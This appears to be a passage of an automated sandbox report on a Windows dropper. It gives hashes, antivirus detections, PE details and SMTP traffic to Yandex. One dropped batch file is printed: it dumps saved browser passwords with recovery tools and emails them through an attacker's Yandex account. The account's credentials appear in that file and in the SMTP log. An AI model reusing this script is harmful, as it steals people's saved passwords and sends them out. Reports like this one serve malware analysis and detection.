Preview:	!<arch>./ 1172423196 0 222 `........N...n.......R...R........................__IMPORT_DESCRIPTOR_BLAT.__NULL_IMPORT_DESCRIPTOR..BLAT_NULL_THUNK_DATA._Send@4.__imp__Send@4._Blat@8.__imp__Blat@8._SetPrintFunc@4.__imp__SetPrintFunc@4.__imp__cSend._cSend./ 1172423196 0 240 `.....N...n.......R................................................._Blat@8._Send@4._SetPrintFunc@4.__IMPORT_DESCRIPTOR_BLAT.__NULL_IMPORT_DESCRIPTOR.__imp__Blat@8.__imp__Send@4.__imp__SetPrintFunc@4.__imp__cSend._cSend..BLAT_NULL_THUNK_DATA.BLAT.dll/ 1172423196 0 483 `.L......E.............debug$S........?...................@..B.idata$2............................@.0..idata$6............................@. ..............BLAT.dll(......................Microsoft (R) LINK...................................................BLAT.dll..@comp.id..]..........................idata$2@.......h..idata$6...........idata$4@......

C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	44544
Entropy (8bit):	7.580825428946343
Encrypted:	false
SSDEEP:	768:TI/86WM0Rk9UXwYlX154ozTouldUZlhPOH6lvXsV:uKkKgYlXck075POaVXsV
MD5:	C861FE184E271D6E2BA958DA306BA748
SHA1:	B039E4D8E70261DFDF8EE521DCBC3E04348423A5
SHA-256:	F8A112B0D1CE4142E4D69CADFC2748C27026B491532FBA18D9160F7EB48B4886
SHA-512:	EA127EAA149B5FF1B1F1DE3891563B2E064E043F03E48CA298D3539E1F572297ABD4EFD951021372BA0090B8C30C06E7D144BEC6D9828A5CC08A644155A8F3CE
Malicious:	false
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:..[..[..[..Ax..[..ax..[..Ax..[..xT..[..[..Z....[....[....[..Rich.[..........PE..L...;.)M..................... ......p.............@.............................................................................8...................................................................................................................UPX0....................................UPX1................................@....rsrc.... ..........................@..............................................................................................................................................................................................................................................................................................................................................................................................................3.03.UPX!....

C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1272
Entropy (8bit):	5.031296977639238
Encrypted:	false
SSDEEP:	24:1hpvjh1jh1dVjhvuSgoHU5hrgXQ5k6gO4dqfgP5kss3d+:1Lj7jrj1uSrsDn65z
MD5:	C328282B75C4BDFF5E7F3E1C7F4C64D4
SHA1:	676C48A4407CC752FB84C91CCFF147EF5E82B94B
SHA-256:	B899DA4A716D950F5ADCF06401CE2D519EB34BD16D72862766717BDF27E64F03
SHA-512:	DA0C42B18A73A1B6C85D56CCA1D4E0D9C40E9051C58DB3859166939E813245A9678DECB29F405974571A9C9AD38594421BF2EB604128F460F3F54FCC84809683
Malicious:	false
Preview:	@echo off....start 1.jpg..ping -n 3 127.0.0.1 > nul..start OperaPassView.exe /stext %computername%_OperaPassView.txt..ping -n 3 127.0.0.1 > nul..start PasswordFox.exe /stext %computername%_PasswordFox.txt..ping -n 3 127.0.0.1 > nul..start iepv.exe /stext %computername%_iepv.txt..ping -n 3 127.0.0.1 > nul..start ChromePass.exe /stext %computername%_ChromePass.txt......ping -n 120 127.0.0.1 > nul....blat.exe -install -server smtp.yandex.ru -port 587 -f alexandrKondratiev5@yandex.ru -u alexandrKondratiev5 -pw qwerty5..ping -n 3 127.0.0.1 > nul..blat.exe -to alexandrKondratiev5@yandex.ru -subject "Opera" -attachi "%computername%_OperaPassView.txt" -body "Opera"..ping -n 3 127.0.0.1 > nul..blat.exe -to alexandrKondratiev5@yandex.ru -subject "Fox" -attachi "%computername%_PasswordFox.txt" -body "Fox"..ping -n 3 127.0.0.1 > nul..blat.exe -to alexandrKondratiev5@yandex.ru -subject "ie" -attachi "%computername%_iepv.txt" -body "ie"..ping -n 3 127.0.0.1 > nul..blat.exe -to alexandrKondratiev5@ya

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	490
Entropy (8bit):	5.042252623136629
Encrypted:	false
SSDEEP:	12:MYBqKY+H2l28apN/aKM77fEN5sKN5ssWLtE:9BG/o8an/Ov05sy5ssWLq
MD5:	0F56F90F3D9AC56D6003C23F7032D084
SHA1:	5F83DBCC43259F0AD5B9E235988DCFFAFCF5F8C4
SHA-256:	46775236B9DE29CF92B0C51F5BACD4B2C1567DD1D29C3446D20994CBCB0D4DF5
SHA-512:	E77832AF1322F25E16ABB7B3CD2B3D503CE7F7BB678CDAD36C53264CDB63287FB2E520019E987B30033EECA90F58414627812C190108AB02150C1B476406AB4D
Malicious:	false
Preview:	Blat v2.6.2 w/GSS encryption (build : Feb 25 2007 12:06:19)....Sending stdin.txt to alexandrKondratiev5@yandex.ru..Subject: Chrome..Login name is alexandrKondratiev5@yandex.ru..Attached text file: user-PC_ChromePass.txt..The SMTP server did not accept Auth PLAIN value...Are your login userid and password correct?..The SMTP server does not require AUTH LOGIN...Are you sure server supports AUTH?..The SMTP server does not like the sender name...Have you set your mail address correctly?..

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	380
Entropy (8bit):	4.937448817509359
Encrypted:	false
SSDEEP:	6:PzLSLzMRfmWxHLThx2LThx2LThx0sW26wGv+wAFeMmvVOIHJFxMVlmJHaVFEG1vv:PKMRJpTeTeT0sKvtAFSkIrxMVlmJHaVz
MD5:	63A3D026F6E4381585F5AEFACE172263
SHA1:	3EA8FDD98AA9F20167008F57DAA6F8ED3ECA9738
SHA-256:	4C31393CE8AE5EA969A049B3FF5DD0EA18E6C29E0E59841BEC1D7AFB7C64DE4C
SHA-512:	FB88787000A6D258A1E3AAB97C46B8D92E68071B8E55C8F98278CB474AE6AFB31256A58BF198132D251F8EC666F28C085A88A103C8DB029B3B188F77163BE793
Malicious:	false
Preview:	..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 3, Received = 3, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.912537280939596
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	0zu73p2YBu.exe
File size:	642'048 bytes
MD5:	29eca65ffa92a3f877b59df42e2150ed
SHA1:	df50e54f9a2b5b6b8831a1e967fba1292ef31790
SHA256:	01356f359af7ecda0db1b00ebcb7bc844ce1fb36bbdbf812bf4a749c22f0d620
SHA512:	5f14f26c54a5f2f9fcbe2d4de9fb35cc32e1f82f42d8ae9f22d5f9cc8180fc210301b08cb661e424e65bfb0968ef6534f09d8bd5deee284e3e776a830c4709e5
SSDEEP:	12288:BJnkD1kdcQjttsMFVpIDd0xoBBxBLCmbyjSzHIYJ5gfnOKVjwboNsgB:vkudcQjttdV0d0GBBxVrujSzoYIrjwbE
TLSH:	CAD402C3E8952FF8D62FC8B7764A40438D71F491179863B1779E8EA310E540792BBA8D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....D.N..................................... ....@........................................................................

File Icon


Icon Hash:	f3c74d49ca4e6e7c

Static PE Info

General

Entrypoint:	0x401ad8
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4EB8440D [Mon Nov 7 20:48:13 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	94400fe3e62cd2376124312fe435b8e4

Entrypoint Preview

Instruction
call 00007F1655231698h
mov dword ptr [0040300Bh], eax
push 00000000h
call 00007F16552316A4h
mov dword ptr [00403013h], eax
call 00007F16552316A6h
mov dword ptr [00410670h], eax
push 0000000Ah
push dword ptr [0040300Bh]
push 00000000h
push dword ptr [00403013h]
call 00007F1655230AE8h
push 00000000h
call 00007F165523164Fh
jmp dword ptr [004020B4h]
jmp dword ptr [004020B0h]
jmp dword ptr [004020ACh]
jmp dword ptr [004020A8h]
jmp dword ptr [004020A4h]
jmp dword ptr [004020A0h]
jmp dword ptr [0040209Ch]
jmp dword ptr [00402098h]
jmp dword ptr [00402094h]
jmp dword ptr [00402090h]
jmp dword ptr [0040208Ch]
jmp dword ptr [00402088h]
jmp dword ptr [00402084h]
jmp dword ptr [00402034h]
jmp dword ptr [00402038h]
jmp dword ptr [0040203Ch]
jmp dword ptr [00402040h]
jmp dword ptr [00402044h]
jmp dword ptr [00402048h]
jmp dword ptr [0040204Ch]
jmp dword ptr [00402050h]
jmp dword ptr [00402054h]
jmp dword ptr [00402000h]
jmp dword ptr [00000000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20bc	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x11000	0x9ace0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xbc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc1c	0xe00	4b3f16d7c1b1a72b03a6b6a1781a9421	False	0.4771205357142857	data	5.123931017549605	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x4c0	0x600	128067a33e449c96b8dc66824ad4bcd5	False	0.4088541666666667	data	4.217635826521946	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0xd6f0	0x600	7701054449ed29f5803ce4903a7bfc7b	False	0.16927083333333334	data	1.725550805200182	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x11000	0x9ace0	0x9ae00	23a1bd3fd1fad6deedcc48bfc8342afa	False	0.946594090496368	data	7.921113520173662	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
IMAGE	0x11210	0x42	PC bitmap, Windows 3.x format, 1 x 1 x 1, image size 4, cbSize 66, bits offset 62	English	United States	0.5151515151515151
RT_ICON	0x11254	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 3937 x 3937 px/m			0.7863475177304965
RT_ICON	0x116bc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3937 x 3937 px/m			0.7070825515947468
RT_ICON	0x12764	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3937 x 3937 px/m			0.666908713692946
RT_ICON	0x14d0c	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3937 x 3937 px/m			0.6154915414645687
RT_RCDATA	0x25534	0x8670c	data			0.9956325771608301
RT_RCDATA	0xabc40	0x5e	data			0.8297872340425532
RT_GROUP_ICON	0xabca0	0x3e	data			0.8064516129032258

Imports

DLL	Import
user32.dll	UpdateWindow, TranslateMessage, ShowWindow, SendMessageA, RegisterClassExA, PostQuitMessage, MessageBoxA, LoadIconA, LoadCursorA, GetMessageA, DispatchMessageA, DefWindowProcA, CreateWindowExA
kernel32.dll	GetModuleHandleA, HeapAlloc, lstrlenA, lstrcpynA, lstrcpyA, lstrcatA, WriteFile, SizeofResource, SetFileAttributesA, RtlMoveMemory, LockResource, LoadResource, LoadLibraryA, CloseHandle, CreateFileA, ExitProcess, FindResourceA, FreeResource, GetCommandLineA, GetEnvironmentVariableA, GetFileSize, GetModuleFileNameA, GlobalFree, GetProcAddress, GetProcessHeap, GetSystemDirectoryA, GetTempPathA, GetWindowsDirectoryA, GlobalAlloc, HeapFree
shlwapi.dll	PathFindFileNameA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 18:16:11.868102074 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:11.990236044 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:11.990369081 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:13.327908993 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:13.328243017 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:13.448311090 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:13.779552937 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:13.822511911 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:16.183092117 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:16.302747965 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:16.633975983 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:16.634306908 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:16.760273933 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.091847897 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.092181921 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:17.214102030 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.546240091 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.547012091 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:17.667964935 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.998668909 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.998811007 CET	587	49773	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:17.998950958 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:18.000125885 CET	49773	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:20.219835043 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:20.339644909 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:20.339843988 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:21.644499063 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:21.644757986 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:21.766612053 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:22.094769955 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:22.135102987 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:24.355240107 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:24.483371973 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:24.813040972 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:24.813414097 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:24.935065031 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:25.264879942 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:25.265281916 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:25.386400938 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:25.713968039 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:25.714380026 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:25.838973045 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:26.167982101 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:26.168102026 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:26.168275118 CET	587	49794	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:26.168329000 CET	49794	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:28.410141945 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:28.533804893 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:28.533994913 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:30.503196955 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:30.503515959 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:30.624859095 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:30.953548908 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:30.994404078 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:33.214977026 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:33.336726904 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:33.667423964 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:33.667799950 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:33.787590027 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:34.116558075 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:34.116959095 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:34.421134949 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:34.750417948 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:34.750996113 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:34.871990919 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:35.201277971 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:35.201572895 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:35.201667070 CET	587	49812	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:35.201730013 CET	49812	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:37.461932898 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:37.581631899 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:37.581729889 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:38.904958010 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:38.905217886 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:39.024863958 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:39.358840942 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:39.400790930 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:41.605813980 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:41.725869894 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:42.060802937 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:42.061247110 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:42.187500954 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:42.519639969 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:42.520215034 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:42.640882015 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:42.973721027 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:42.974473000 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:43.097871065 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:43.429357052 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:43.429617882 CET	49832	587	192.168.2.4	77.88.21.158
Nov 20, 2024 18:16:43.429840088 CET	587	49832	77.88.21.158	192.168.2.4
Nov 20, 2024 18:16:43.429904938 CET	49832	587	192.168.2.4	77.88.21.158

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 18:16:11.723012924 CET	63303	53	192.168.2.4	1.1.1.1
Nov 20, 2024 18:16:11.864573956 CET	53	63303	1.1.1.1	192.168.2.4
Nov 20, 2024 18:16:13.781656981 CET	59554	53	192.168.2.4	1.1.1.1
Nov 20, 2024 18:16:13.926933050 CET	53	59554	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 18:16:11.723012924 CET	192.168.2.4	1.1.1.1	0xce81	Standard query (0)	smtp.yandex.ru	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:16:13.781656981 CET	192.168.2.4	1.1.1.1	0x8978	Standard query (0)	yandex.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 18:16:11.864573956 CET	1.1.1.1	192.168.2.4	0xce81	No error (0)	smtp.yandex.ru	77.88.21.158	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:16:13.926933050 CET	1.1.1.1	192.168.2.4	0x8978	No error (0)	yandex.ru	5.255.255.77	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:16:13.926933050 CET	1.1.1.1	192.168.2.4	0x8978	No error (0)	yandex.ru	77.88.55.88	A (IP address)	IN (0x0001)	false
Nov 20, 2024 18:16:13.926933050 CET	1.1.1.1	192.168.2.4	0x8978	No error (0)	yandex.ru	77.88.44.55	A (IP address)	IN (0x0001)	false

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 20, 2024 18:16:13.327908993 CET	587	49773	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-10.sas.yp-c.yandex.net Ok 1732122973-CGWIbm7OqGk0
Nov 20, 2024 18:16:13.328243017 CET	49773	587	192.168.2.4	77.88.21.158	EHLO 927537.yandex.ru
Nov 20, 2024 18:16:13.779552937 CET	587	49773	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-10.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 20, 2024 18:16:16.183092117 CET	49773	587	192.168.2.4	77.88.21.158	AUTH PLAIN AGFsZXhhbmRyS29uZHJhdGlldjUAcXdlcnR5NQ==
Nov 20, 2024 18:16:16.633975983 CET	587	49773	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732122976-CGWIbm7OqGk0
Nov 20, 2024 18:16:16.634306908 CET	49773	587	192.168.2.4	77.88.21.158	AUTH LOGIN
Nov 20, 2024 18:16:17.091847897 CET	587	49773	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732122976-CGWIbm7OqGk0
Nov 20, 2024 18:16:17.092181921 CET	49773	587	192.168.2.4	77.88.21.158	MAIL FROM:<alexandrKondratiev5@yandex.ru>
Nov 20, 2024 18:16:17.546240091 CET	587	49773	77.88.21.158	192.168.2.4	503 5.5.4 Error: send AUTH command first. 1732122977-CGWIbm7OqGk0-ZV5W5d5G
Nov 20, 2024 18:16:17.547012091 CET	49773	587	192.168.2.4	77.88.21.158	QUIT
Nov 20, 2024 18:16:17.998668909 CET	587	49773	77.88.21.158	192.168.2.4	221 2.0.0 Closing connecton
Nov 20, 2024 18:16:21.644499063 CET	587	49794	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-44.sas.yp-c.yandex.net Ok 1732122981-LGW1jF7OhKo0
Nov 20, 2024 18:16:21.644757986 CET	49794	587	192.168.2.4	77.88.21.158	EHLO 927537.yandex.ru
Nov 20, 2024 18:16:22.094769955 CET	587	49794	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-44.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 20, 2024 18:16:24.355240107 CET	49794	587	192.168.2.4	77.88.21.158	AUTH PLAIN AGFsZXhhbmRyS29uZHJhdGlldjUAcXdlcnR5NQ==
Nov 20, 2024 18:16:24.813040972 CET	587	49794	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732122984-LGW1jF7OhKo0
Nov 20, 2024 18:16:24.813414097 CET	49794	587	192.168.2.4	77.88.21.158	AUTH LOGIN
Nov 20, 2024 18:16:25.264879942 CET	587	49794	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732122985-LGW1jF7OhKo0
Nov 20, 2024 18:16:25.265281916 CET	49794	587	192.168.2.4	77.88.21.158	MAIL FROM:<alexandrKondratiev5@yandex.ru>
Nov 20, 2024 18:16:25.713968039 CET	587	49794	77.88.21.158	192.168.2.4	503 5.5.4 Error: send AUTH command first. 1732122985-LGW1jF7OhKo0-4P6ystnH
Nov 20, 2024 18:16:25.714380026 CET	49794	587	192.168.2.4	77.88.21.158	QUIT
Nov 20, 2024 18:16:26.167982101 CET	587	49794	77.88.21.158	192.168.2.4	221 2.0.0 Closing connecton
Nov 20, 2024 18:16:30.503196955 CET	587	49812	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-57.myt.yp-c.yandex.net Ok 1732122990-TGW0cPeOja60
Nov 20, 2024 18:16:30.503515959 CET	49812	587	192.168.2.4	77.88.21.158	EHLO 927537.yandex.ru
Nov 20, 2024 18:16:30.953548908 CET	587	49812	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-57.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 20, 2024 18:16:33.214977026 CET	49812	587	192.168.2.4	77.88.21.158	AUTH PLAIN AGFsZXhhbmRyS29uZHJhdGlldjUAcXdlcnR5NQ==
Nov 20, 2024 18:16:33.667423964 CET	587	49812	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732122993-TGW0cPeOja60
Nov 20, 2024 18:16:33.667799950 CET	49812	587	192.168.2.4	77.88.21.158	AUTH LOGIN
Nov 20, 2024 18:16:34.116558075 CET	587	49812	77.88.21.158	192.168.2.4	530 5.7.7 Email sending without SSL/TLS encryption is not allowed. Please see: https://yandex.ru/support/mail/mail-clients/ssl.html 1732122993-TGW0cPeOja60
Nov 20, 2024 18:16:34.116959095 CET	49812	587	192.168.2.4	77.88.21.158	MAIL FROM:<alexandrKondratiev5@yandex.ru>
Nov 20, 2024 18:16:34.750417948 CET	587	49812	77.88.21.158	192.168.2.4	503 5.5.4 Error: send AUTH command first. 1732122994-TGW0cPeOja60-sZVBQD1y
Nov 20, 2024 18:16:34.750996113 CET	49812	587	192.168.2.4	77.88.21.158	QUIT
Nov 20, 2024 18:16:35.201277971 CET	587	49812	77.88.21.158	192.168.2.4	221 2.0.0 Closing connecton
Nov 20, 2024 18:16:38.904958010 CET	587	49832	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.sas.yp-c.yandex.net Ok 1732122998-cGW2qA7OlqM0
